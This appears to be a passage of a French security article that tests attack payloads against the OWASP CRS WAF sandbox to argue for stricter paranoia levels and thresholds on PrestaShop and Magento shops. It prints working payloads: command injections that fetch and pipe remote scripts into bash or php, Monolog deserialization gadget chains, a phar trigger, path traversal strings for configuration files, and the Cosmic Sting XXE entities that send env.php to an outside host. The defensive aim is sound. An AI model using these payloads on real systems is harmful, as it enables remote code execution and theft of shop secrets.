curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=%26%20curl%208.8.8.8%2Fpayload.sh%20%7C%20bash"
932235 PL1 Remote Command Execution: Unix Command Injection (command without evasion)
932370 PL1 Remote Command Execution: Windows Command Injection
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement de deux règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Testons là maintenant sur le niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=%26%20curl%208.8.8.8%2Fpayload.sh%20%7C%20bash"
932235 PL1 Remote Command Execution: Unix Command Injection (command without evasion)
932370 PL1 Remote Command Execution: Windows Command Injection
932236 PL2 Remote Command Execution: Unix Command Injection (command without evasion)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 15)


Veuillez noter le score de la charge : 15, correspondant au déclenchement de trois règles critiques. Comprendre : si votre WAF, configuré en PL2 (niveau de paranoïa 2), ne bloque pas les scores supérieurs ou égaux à 15, cette charge passera sans difficulté.

Le logiciel bash n'est pas toujours disponible sur les environnements à fortes contraintes de sécurité. En revanche, le binaire PHP y est quasiment toujours présent sur nos contextes E-Commerce PHP. Regardons cette charge :

?hdby=& curl 8.8.8.8/payload.php | php

Testons la sur le niveau de paranoïa 1 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=%26%20curl%208.8.8.8%2Fpayload.php%20%7C%20php"
932235 PL1 Remote Command Execution: Unix Command Injection (command without evasion)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 5)


Veuillez noter le score de la charge : 5, correspondant au déclenchement de trois règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 5, cette charge passera sans difficulté.

Testons la sur le niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=%26%20curl%208.8.8.8%2Fpayload.php%20%7C%20php"
932235 PL1 Remote Command Execution: Unix Command Injection (command without evasion)
932236 PL2 Remote Command Execution: Unix Command Injection (command without evasion)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement d'une seule règle critique. Comprendre : si votre WAF, configuré en PL2 (niveau de paranoïa 2), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.



2.4.2/ Désérialisation dangereuse - Deserialization of Untrusted Data - CWE-502



Regardons maintenant du côté des désérialisations dangereuses, exploitant la fonction unserialize en PHP.

Pour l'exemple, nous allons nous appuyer sur un fragment de la charge utilisée par Session Reaper, qui a sinistré l'écosystème Magento. Cette chaîne d'exploitation existe également sur PrestaShop, dans la mesure où Monolog est une dépendance indispensable depuis PrestaShop 1.7, à savoir :

?hdby=Monolog\Handler\BufferHandler":7:{S:7:"handler";r:2;S:10:"bufferSize";i:-1;S:6:"buffer";a:1:{i:0;a:2:{i:0;S:71:"curl 8.8.8.8/payload.php | php";S:5:"level";N;}}S:5:"level";N;S:11:"initialized";b:1;S:11:"bufferLimit";i:-1;S:10:"processors";a:2:{i:0;S:7:"current";i:1;S:4:"exec";}}}

Testons la sur le niveau de paranoïa 1 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=Monolog%5CHandler%5CBufferHandler%22%3A7%3A%7BS%3A7%3A%22handler%22%3Br%3A2%3BS%3A10%3A%22bufferSize%22%3Bi%3A-1%3BS%3A6%3A%22buffer%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BS%3A71%3A%22curl%208.8.8.8%2Fpayload.php%20%7C%20php%22%3BS%3A5%3A%22level%22%3BN%3B%7D%7DS%3A5%3A%22level%22%3BN%3BS%3A11%3A%22initialized%22%3Bb%3A1%3BS%3A11%3A%22bufferLimit%22%3Bi%3A-1%3BS%3A10%3A%22processors%22%3Ba%3A2%3A%7Bi%3A0%3BS%3A7%3A%22current%22%3Bi%3A1%3BS%3A4%3A%22exec%22%3B%7D%7D%7D"
Il n'y a aucun résultat, ce qui signifie que la séquence n'est pas du tout bloquée.

Testons la sur le niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=Monolog%5CHandler%5CBufferHandler%22%3A7%3A%7BS%3A7%3A%22handler%22%3Br%3A2%3BS%3A10%3A%22bufferSize%22%3Bi%3A-1%3BS%3A6%3A%22buffer%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BS%3A71%3A%22curl%208.8.8.8%2Fpayload.php%20%7C%20php%22%3BS%3A5%3A%22level%22%3BN%3B%7D%7DS%3A5%3A%22level%22%3BN%3BS%3A11%3A%22initialized%22%3Bb%3A1%3BS%3A11%3A%22bufferLimit%22%3Bi%3A-1%3BS%3A10%3A%22processors%22%3Ba%3A2%3A%7Bi%3A0%3BS%3A7%3A%22current%22%3Bi%3A1%3BS%3A4%3A%22exec%22%3B%7D%7D%7D"
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
932240 PL2 Remote Command Execution: Unix Command Injection evasion attempt detected
942180 PL? Detects basic SQL authentication bypass attempts 1/3
942430 PL? Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 23)


Veuillez noter le score de la charge, qui s'élève à 23 points, correspondant au déclenchement de quatre règles critiques. Néanmoins, attention : la règle 932200 a été déclenchée. Nous devons donc soustraire son score comme évoqué précédemment, ce qui donne un score ajusté de 23 − 10 = 13 points.

Si votre WAF ne bloque pas les charges dont le score est supérieur à 10, cette charge passera sans difficulté.

Les plus observateurs auront remarqué qu'il n'est pas totalement honnête d'insister sur le volet CWE-502 avec cette charge. Elle est en effet spécifique à un mode de fonctionnement interne de Magento, exploitant un envoi de fichier sans extension, ce qui limite fortement sa portée dans d'autres contextes.

Prenons donc maintenant une charge compatible avec l'ensemble de l'écosystème PHP, vous pouvez en générer à volonté via le projet PHPGGC (https://github.com/ambionics/phpggc) - Monolog n'est pas la seule librairie concernée :

O:37:"Monolog\Handler\FingersCrossedHandler":3:{s:13:"passthruLevel";i:0;s:6:"buffer";a:1:{s:4:"test";a:2:{i:0;s:45:"curl 8.8.8.8/payload.php | php";s:5:"level";N;}}s:7:"handler";O:29:"Monolog\Handler\BufferHandler":7:{s:7:"handler";N;s:10:"bufferSize";i:-1;s:6:"buffer";N;s:5:"level";N;s:11:"initialized";b:1;s:11:"bufferLimit";i:-1;s:10:"processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}

Testons la sur le niveau de paranoïa 1 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=O%3A37%3A%22Monolog%5CHandler%5CFingersCrossedHandler%22%3A3%3A%7Bs%3A13%3A%22passthruLevel%22%3Bi%3A0%3Bs%3A6%3A%22buffer%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A45%3A%22curl%208.8.8.8%2Fpayload.php%20%7C%20php%22%3Bs%3A5%3A%22level%22%3BN%3B%7D%7Ds%3A7%3A%22handler%22%3BO%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A7%3A%7Bs%3A7%3A%22handler%22%3BN%3Bs%3A10%3A%22bufferSize%22%3Bi%3A-1%3Bs%3A6%3A%22buffer%22%3BN%3Bs%3A5%3A%22level%22%3BN%3Bs%3A11%3A%22initialized%22%3Bb%3A1%3Bs%3A11%3A%22bufferLimit%22%3Bi%3A-1%3Bs%3A10%3A%22processors%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22current%22%3Bi%3A1%3Bs%3A6%3A%22system%22%3B%7D%7D%7D"
933170 PL1 PHP Injection Attack: Serialized Object Injection
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 5)


Veuillez noter le score de la charge : 5, correspondant au déclenchement d'une seule règle critique. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 5, cette charge passera sans difficulté.

Testons la sur le niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=O%3A37%3A%22Monolog%5CHandler%5CFingersCrossedHandler%22%3A3%3A%7Bs%3A13%3A%22passthruLevel%22%3Bi%3A0%3Bs%3A6%3A%22buffer%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A45%3A%22curl%208.8.8.8%2Fpayload.php%20%7C%20php%22%3Bs%3A5%3A%22level%22%3BN%3B%7D%7Ds%3A7%3A%22handler%22%3BO%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A7%3A%7Bs%3A7%3A%22handler%22%3BN%3Bs%3A10%3A%22bufferSize%22%3Bi%3A-1%3Bs%3A6%3A%22buffer%22%3BN%3Bs%3A5%3A%22level%22%3BN%3Bs%3A11%3A%22initialized%22%3Bb%3A1%3Bs%3A11%3A%22bufferLimit%22%3Bi%3A-1%3Bs%3A10%3A%22processors%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22current%22%3Bi%3A1%3Bs%3A6%3A%22system%22%3B%7D%7D%7D"
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
932240 PL2 Remote Command Execution: Unix Command Injection evasion attempt detected
933170 PL1 PHP Injection Attack: Serialized Object Injection
942180 PL? Detects basic SQL authentication bypass attempts 1/3
942430 PL? Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 28)


Veuillez noter le score de la charge : 28, correspondant au déclenchement de cinq règles critiques. Néanmoins attention, la règle 932200 a été déclenché deux fois, nous devons donc sous traire ce score, le score ajusté est donc de 28 moins les 10 points de la règle 932200, soit 18 points.

Si votre WAF ne bloque pas les charges dont le score est supérieur à 15, cette charge passera sans difficulté.

À chaque fois que vous rencontrez dans du code PHP un appel à la fonction unserialize(), vous pouvez partir du principe que si elle n'est pas utilisée avec l'option ['allowed_classes' => false], il s'agit très souvent d'une vulnérabilité critique. Ce type de faiblesse expose directement à des scénarios de PHP Object Injection, avec des impacts potentiels majeurs (exécution de code, élévation de privilèges, compromission complète de l'application). Dans ce contexte, la gravité est maximale, avec un score CVSS 4.0 de 10/10. Malgré des années de retours d'expérience et d'incidents documentés, ce pattern reste encore très largement présent dans l'écosystème PHP. Des mécanismes de durcissement supplémentaires ont été introduits avec PHP 8.4, et l'on peut légitimement espérer des évolutions encore plus strictes avec PHP 9, tant le risque structurel lié à unserialize() est élevé.



2.4.3/ Désérialisation dangereuse via phar



Le cœur de PHP est protégé contre cette forme de détournement depuis PHP 8.

En pratique, et sous réserve que vous utilisiez les versions PHP recommandées, ne sont donc concernés que les :
  • Dolibarr en version 13 et inférieure
  • Magento en version 2.4.3 et inférieure
  • PrestaShop en version 1.7 et inférieure
  • Wordpress en version 5.5 et inférieure
Ces attaques sont systématiquement biphasées :

Phase 1 – Dépôt de la charge

Dans un premier temps, l'attaquant doit envoyer un fichier sur le système, dans un chemin exposé par le site marchand.

Il peut s'agir, par exemple, d'une image contenant en réalité une charge offensive de type PHAR, camouflée derrière une extension parfaitement légitime.

Phase 2 – Armement de la charge

Dans un second temps, il suffit qu'une fonction accédant au système de fichiers accepte une variable non préfixée.

Ce comportement est très souvent constitutif d'une vulnérabilité de type Path Traversal ou SSRF, par exemple : is_file($_GET['test']);

Pour ceux qui s'interrogent sur ce que l'on appelle une "variable non préfixée", voici un exemple de variable préfixée : is_file(ROOT_DIR . $_GET['test']); Cet appel ne peut pas être détourné via un schéma tel que phar://

Au risque d'enfoncer une porte ouverte : les WAF ne sont pas des anti-malwares par nature. Ils peuvent tenter de s'en approcher, mais ce n'est pas leur objet premier.

Ainsi, OWASP CRS ne filtre pas nativement l'envoi de fichiers dont l'extension n'est pas considérée comme directement dangereuse pour le système, c'est-à-dire, par exemple, autre chose qu'un .php.

En l'absence d'ajustement spécifique, il est donc illusoire d'espérer intercepter ces fichiers d'apparence inoffensive sans analyse de leur contenu.

En revanche, il est tout à fait possible d'empêcher leur armement lors de la seconde phase de l'attaque. Voici la charge d'armement :

?hdby=phar://mon_chemin_predictible/hdby.jpg

Testons la sur le niveau de paranoïa 1 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=phar%3A%2F%2Fmon_chemin_predictible%2Fhdby.jpg"
933200 PL1 PHP Injection Attack: Wrapper scheme detected
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 5)


Veuillez noter le score de la charge : 5, correspondant au déclenchement d'une seule règle critique. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 5, cette charge passera sans difficulté.

Testons la sur le niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=phar%3A%2F%2Fmon_chemin_predictible%2Fhdby.jpg"
931130 PL2 Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link
933200 PL1 PHP Injection Attack: Wrapper scheme detected
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement de deux règles critiques. Comprendre : si votre WAF, configuré en PL2 (niveau de paranoïa 2), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Cette variante de la CWE-502 est particulièrement frustrante pour les auditeurs. Il s'agit en effet de l'un des vecteurs d'attaque historiques les plus dangereux de l'écosystème PHP et, paradoxalement, il est quasiment impossible de publier des notes de sécurité à son sujet sous forme de CVE.
Pourquoi ? Parce que si :
- la probabilité qu'un système autorise l'envoi de fichiers vers un chemin prédictible est élevée,
- et que la présence de fonctions d'accès au système de fichiers (is_file(), file_exists(), getimagesize(), etc.) exposées avec des variables non préfixées est tout aussi courante,
La probabilité que la chaîne existe sur un PrestaShop est élevée mais la probabilité que ces deux faiblesses coexistent dans un même composant (module ou plugin) est, elle, faible. Cette dépendance entre deux conditions distinctes empêche mécaniquement la publication d'une CVE, qui exige un périmètre reproductible et clairement délimité.


La conclusion de ces démonstrations sur le périmètre des RCE est : si votre fourniseur de WAF
  • travaille en PL 1 (Paranoïa niveau 1) et ne bloque pas au dessus d'un score de 5 points - certaines "rares" charges passent complètement le PL 1.
  • travaille en PL 2 (Paranoïa niveau 2) et ne bloque pas au dessus d'un score de 10 points

Vous n'avez aucune protection préventive contre les RCE usuelles de l'écosystème PHP.


Si votre développeur vous informe que vous avez subi une RCE, fermez immédiatement votre site et contactez une société de remédiation.

Cela ne sert à rien de déployer un WAF après une compromission de ce type, tant que la phase de remédiation n'est pas achevée.. On ne règle pas une hémorragie avec une armure de combat. Des charges ont déjà été déposées dans votre système, soit à armement immédiat (système de fichiers), soit à armement différé (base de données, notamment via des XSS stockées).

Ces charges sont spécifiquement conçues pour outrepasser les protocoles de défense, souvent au moyen d'une surcouche de chiffrement (par exemple de type RSA), rendant les charges ultérieures illisibles pour un WAF.



2.5/ Le vol de données : path traversal - CWE-22



Lorsque l'on souhaite piller tous les secrets d'un site marchand pour exploiter des fonctionnalités avancées du site, tel que des exports de fichiers clients, les fichiers de configuration sont systématiquement ciblés. Chaque écosystème métier a ses propres charges sur cette classe de vulnérabilités.

  • PrestaShop 1.6 et inférieur : ?hdby=../config/settings.inc.php
  • PrestaShop 1.7 et supérieur : ?hdby=../app/config/parameters.php
  • Magento 2 : ?hdby=../app/etc/env.php
  • Symfony : ?hdby=../.env.prod.local ou de manière plus générale : .env(\.[a-z]+)?\.local

À partir de la version OWASP CRS 4.20.0, regardons le score de ces payloads :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d 'hdby=..%2Fapp%2Fconfig%2Fparameters.php'
930110 PL1 Path Traversal Attack (/../) or (/.../)
930110 PL1 Path Traversal Attack (/../) or (/.../)
930120 PL1 OS File Access Attempt
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 15)


La règle 930120 est déclenchée uniquement sur les versions récentes d'OWASP CRS, la plupart des WAF ne seront pas mis à jour à ce sujet avant des années. Nous partons donc du principe que le score effectif de la charge sera de 10 points et non de 15 points.

Comprendre : si votre WAF, configuré en PL2 (niveau de paranoïa 2), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

La conclusion de cette démonstration sur le périmètre des fuites de données, variante path traversal, est : si votre fourniseur de WAF
  • travaille en PL 1 (Paranoïa niveau 1) et ne bloque pas au dessus d'un score de 10 points

Vous n'avez aucune protection préventive contre les fuites de données via Path Traversal



2.6/ Le vol de données : XXE - CWE-611



Tout le monde se souviendra de Cosmic Sting, la tristement fameuse XXE de Magento publiée à l'été 2024 qui a permis, via un appel dans le tunnel d'achat d'auto-exfiltrer tous les fichiers des Magento ciblés vers un serveur pirate - incluant l'ensemble de leurs secrets.

D'autres solutions ont également été concernées par ce détournement du moteur XML, et d'autres suivront certainement, le temps de la migration des flux vers le format JSON, qui ne souffre pas (encore) de comportements implicites aux conséquences potentiellement délétères s'ils ne sont pas maîtrisés.

Tout comme les 502 variantes phar, les attaques XXE sont également bi-phasées - bien que pour le cas de cette classe de vulnérabilités, le site marchand ciblé ne verra souvent que la deuxième phase : la phase d'attaque.

Phase 1 – Déploiement de la charge offensive sur un hébergement public accessible par le site marchand ciblé

Dans un premier temps, l'attaquant doit déployer un fichier sur Internet - qui devra être accessible par le site marchand ciblé.

Il s'agit de la charge de contrôle qui définit comment exfiltrer les données du site ciblé.

Pour l'exemple de Cosmic Sting, voici le contenu du fichier https://A.B/payload.md :

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=../app/etc/env.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://A.B/exfiltration-CVE-2024-34102.php?%data;'>">

Étant donné que cette charge est hébergée sur un service distant, elle est hors du périmètre du WAF déployé sur le site marchand.

Phase 2 – Armement de la charge

Dans un second temps, il faut envoyer à un parser XML mal configuré et disponible sur le site marchand ciblé la charge d'armement, toujours dans le cas de Cosmic Sting, la charge ressemblera à cela :

{"address": {"totalsCollector": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"https://A.B/payload.md\"> %sp; %param1; ]> <r>&exfil;</r>", "options": 16}}}}}}

Veuillez noter que dans le cadre de Cosmic Sting, il s'agit d'une XXE embarquée dans un format JSON.

Regardons du côté d'OWASP CRS en PL1 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -H 'content-type:application/json' -d '{"address": {"totalsCollector": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"https://A.B/payload.md\"> %sp; %param1; ]> <r>&exfil;</r>", "options": 16}}}}}}'
941100 PL1 XSS Attack Detected via libinjection
941130 PL1 XSS Filter - Category 3: Attribute Vector
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement d'une seule règle critique. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Regardons du côté du PL2 (Paranoïa niveau 2) :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -H 'content-type:application/json' -d '{"address": {"totalsCollector": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"https://A.B/payload.md\"> %sp; %param1; ]> <r>&exfil;</r>", "options": 16}}}}}}'
931130 PL2 Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
941100 PL1 XSS Attack Detected via libinjection
941130 PL1 XSS Filter - Category 3: Attribute Vector
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12) 942520 PL2 Detects basic SQL authentication bypass attempts 4.0/4 949110 PL? Inbound Anomaly Score Exceeded (Total Score: 33)


Veuillez noter le score de la charge, qui s'élève à 33 points, correspondant au déclenchement de six règles critiques. Néanmoins, attention : la règle 932200 a été déclenchée. Nous devons donc soustraire son score comme évoqué précédemment, ce qui donne un score ajusté de 33 − 10 = 23 points.

Il y a néanmoins un petit secret à propos des charges soumises avec le Content-Type JSON : il est supposé que le processeur JSON du WAF soit activé - ce qui n'est souvent pas le cas, d'autant plus si le service n'est pas géré par un intégrateur professionnel de WAF. Si le processeur n'est pas activé, et que le processeur URLENCODED n'est pas en secours, cette charge pourrait être complètement invisible pour le WAF.

Ceux d'entre vous ayant l'œil aiguisé auront néanmoins compris qu'il n'est, encore une fois, pas intellectuellement honnête de tester cette charge sur le volet XXE, qui est propre à un mode de fonctionnement de Magento.

Transformons-la en une charge XXE conventionnelle via un Content-Type XML dûment déclaré :

<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "https://A.B/payload.md"> %sp; %param1; ]> <r>&exfil;</r>

Regardons le score, directement sur le PL2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:4" "http://sandbox.coreruleset.org/" -H 'content-type:application/xml' -d '<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "https://A.B/payload.md"> %sp; %param1; ]> <r>&exfil;</r>'

La Sandbox CRS ne donne aucun résultat - ce qui ne veut pas dire que cela n'ait pas été bloqué. En effet cet input XML est jugé corrompu sur les systèmes sécurisés, la définition de la variable exfil est liée au chargement du fichier https://A.B/payload.md, si celui-ci n'est pas chargé - ce qui est un comportement souhaité - alors une erreur est générée.

Nous en arrivons à un autre secret : le processeur XML du WAF est encore moins souvent armé que le processeur JSON, souvent à cause de services tiers dialoguant sans contrôle d'intégrité de leurs flux - nous ne citerons personne, mais nous aurions des choses à redire du côté de certaines sociétés de logistique ou de marketing à ce sujet.

La conséquence de la non-activation du processeur XML est que cette charge sera invisible pour de nombreux WAF.

Nous rappelons aux intégrateurs de WAF que le fait d'armer les processeurs JSON et XML est une obligation et qu'en cas de négligence, c'est tout un pan de la cybersécurité applicative que vous occultez, allant bien au-delà des XXE - la quasi-totalité des règles étant de fait neutralisées : injection SQL / XSS / etc.

Les API dialoguant en XML/JSON tout comme les appels Ajax (requête XHR) en JSON sont légion dans nos contextes et cette tendance s'accélère avec le headless et la généralisation des API REST en JSON.

Les comportements implicites des processeurs de traitement des flux XML ont causé bien du tort au cours des deux dernières années ; nous vous encourageons à placer ces flux sous restriction IP stricte afin de limiter l'exposition de vos parsers XML. Cela vous permettra de réduire votre surface d'attaque face à d'improbables 0-day à venir sur ce sujet.

La conclusion de cette démonstration sur le périmètre des fuites de données, variante XXE, est : si votre fourniseur de WAF
  • n'a pas armé les processeurs XML et JSON, permettant d'analyser, les charges dans des flux XML et JSON
  • travaille en PL 1 (Paranoïa niveau 1) et ne bloque pas au dessus d'un score de 10 points
  • travaille en PL 2 (Paranoïa niveau 2) et ne bloque pas au dessus d'un score de 20 points

Vous n'avez aucune protection préventive contre les fuites de données via XXE



Les classes de vulnérabilités à tester dans une démarche préventive conforme aux recommandations d'OWASP sont nombreuses, et leur exhaustivité dépasse le cadre de cet article.

Veuillez noter que nous ne pouvons pas non plus aborder les attaques de type Content-Type evasion, lesquelles visent à passer sous les radars des processeurs de traitement du WAF.

Nous vous encourageons donc à vous rapprocher de nous pour découvrir notre diagnostiqueur de WAF PrestaShop : il est gratuit.

Notre diagnostiqueur éprouve plus de 6 000 patterns d'attaque hautement hétérogènes, vous permettant d'identifier puis de corriger les lacunes de votre posture défensive - celles qui constituent, ou fragilisent, le barrage censé vous protéger des menaces applicatives.

Un rapport complet et détaillé sera prochainement publié ici - nous sommes en discussion avec la core team OWASP CRS pour le finaliser.



3. Quid des mises à jour de OWASP CRS ?



Les plus avisés d'entre vous auront constaté que, sur l'ensemble des charges que nous avons testées, nous avons volontairement omis de préciser la version du WAF OWASP CRS utilisée.

Cela signifie que tous les scores présentés sont calculés sur la base de la dernière version des règles OWASP CRS : la 4.21.0, à ce jour la plus complète et la plus aboutie.

Nous arrivons ici à un autre petit secret des WAF : ils doivent être maintenus à jour régulièrement, et peu d'acteurs le font avec la rigueur nécessaire.

Les versions antérieures d'OWASP CRS se sont révélées être de véritables gruyères pour certaines classes de vulnérabilités ou pour certains écosystèmes métiers spécifiques, dont PrestaShop.

En conséquence, les scores affichés par nos charges de test sont souvent très supérieurs à ceux observés en conditions réelles, dès lors que le WAF en place repose sur des règles obsolètes, parfois âgées de plusieurs années.

Si vous utilisez le WAF de Cloudflare pour protéger un site PrestaShop, il est possible de constater rapidement cette obsolescence.

Sur votre page d'accueil, ajoutez simplement le paramètre suivant : ?hdby=/app/config/parameters.php

Tant que le WAF de Cloudflare ne bloque pas cette requête, cela signifie que les règles ne sont toujours pas alignées avec l'état des CRS au 2 novembre 2025, correspondant à la version 4.20.0 d'OWASP CRS.



4. Les petits secrets des WAF comme Cloudflare : à moins de 2 400€ HT / an, ils ne servent pas à grand chose, voire à rien.



Tout d'abord, il est important de rappeler un point souvent ignoré : seule l'offre Cloudflare à 240 € HT / an intègre un WAF.

L'offre gratuite de Cloudflare ne propose tout simplement aucun WAF.

Cela étant dit, cette offre dite "préférentielle" comporte une limite structurelle, généralement connue uniquement des spécialistes :

il est impossible d'y configurer un seuil de blocage inférieur à 25 points.


Autrement dit, au regard des exemples présentés précédemment, Cloudflare - tout comme n'importe quel WAF basé sur OWASP CRS ne bloquant pas le PL2 à 10 points - devient inefficace face à des attaquants professionnels maîtrisant les techniques de WAF Fooling. Les charges offensives à faible empreinte passent alors sans difficulté.

La version Cloudflare Enterprise, proposée à partir de 2 400 € HT / an, est la seule à offrir des capacités réellement compatibles avec les recommandations d'OWASP.

Néanmoins - et comme souvent - le diable se cache dans les détails.

Cette offre n'est en aucun cas une solution clé en main : la configuration reste entièrement à la charge du client.

Nos démonstrations l'ont montré :
  • le niveau de paranoïa 2 constitue un minimum vital pour toute approche professionnelle,
  • tout comme la configuration d'un seuil de blocage à 10 points maximum, indispensable pour obtenir une couverture défensive réellement cohérente,
  • l'activation complète de l'ensemble des processeurs de traitement, incluant les processeurs JSON et XML,
  • et la nécessité de mettre à jour de manière continue les règles fournies par OWASP CRS

Sans ces réglages, la présence d'un WAF relève davantage de l'illusion de sécurité que d'une protection effective.

À un niveau professionnel, l'armement des règles du WAF et leur suivi via un SIEM représentent plusieurs milliers d'heures de travail dont la majorité est impossible à mutualiser.

D'après notre retour d'expérience, plus de 65 % de cet effort n'est pas mutualisable étant donné qu'il est spécifique à chaque projet, en raison des développements sur mesure - un argument commercial majeur des solutions Open Source, mais qui entraîne des conséquences lourdes sur le déploiement de mécanismes de cyberdéfense réellement professionnels.

Pour les sceptiques, refusant de s'adapter à cette réalité, et qui ne manqueront pas de répondre que l'IPS de Cloudflare est l'un des meilleurs au monde, et qu'à ce titre les lacunes des WAF seraient compensées par le filtrage des adresses IP identifiées comme malveillantes, rappelons une chose essentielle : les IPS ont eux aussi un petit secret.

Ils ne filtreront jamais durablement les adresses IP issues des "zones blanches", c'est-à-dire celles attribuées par des opérateurs télécoms grand public. Or, l'essentiel des attaques menées par des réseaux criminels professionnels contre les applications provient désormais précisément de ces zones.

Remercions, entre autres, les objets connectés non régulés (IoT) et les services comme IPBurger, qui permettent de louer des adresses IP résidentielles, parfaitement légitimes du point de vue d'un IPS.



5. Un WAF sans SIEM = préjudice assuré sur votre chiffre d'affaires



Un WAF peut être comparé à une artillerie longue distance, capable de frapper à 200 km à la ronde. Mal employé, il peut se retourner contre vous et provoquer des dégâts collatéraux, en impactant des alliés, faute d'observabilité suffisante.

Or, une artillerie ne fonctionne jamais sans station radar et/ou réseau de satellites. La logique est strictement la même pour un WAF : il ne peut pas être exploité à un niveau professionnel sans un SIEM (Security Information Event Manager), capable de vous informer en temps réel des blocages - qu'ils soient souhaités ou non.

D'après notre expérience terrain, le temps alloué au WAF et au SIEM qui l'accompagne se répartit généralement selon un ratio d'un tiers / deux tiers.

Concrètement, sur trois heures allouées à l'armement d'une règle de sécurité :
  • une heure est consacrée au WAF
  • deux heures au SIEM pour gérer les alertes

Avant de commencer à armer les règles d'OWASP CRS sur votre WAF, comme celui de Cloudflare Enterprise, veillez à rôder votre SIEM : vous en aurez besoin.



6. Les DDOS sont le cadet de vos soucis



Un DDoS n'engage que rarement votre responsabilité, puisque, par nature, son objectif n'est pas de compromettre votre service, mais uniquement de le rendre indisponible, le plus souvent de manière temporaire, à de très rares exceptions près (La Poste – décembre 2025).

Cela peut générer des préjudices financiers immédiats, mais il est rare que cela entraîne des préjudices de longue durée, ceux-ci étant le plus souvent liés à une perte de réputation.

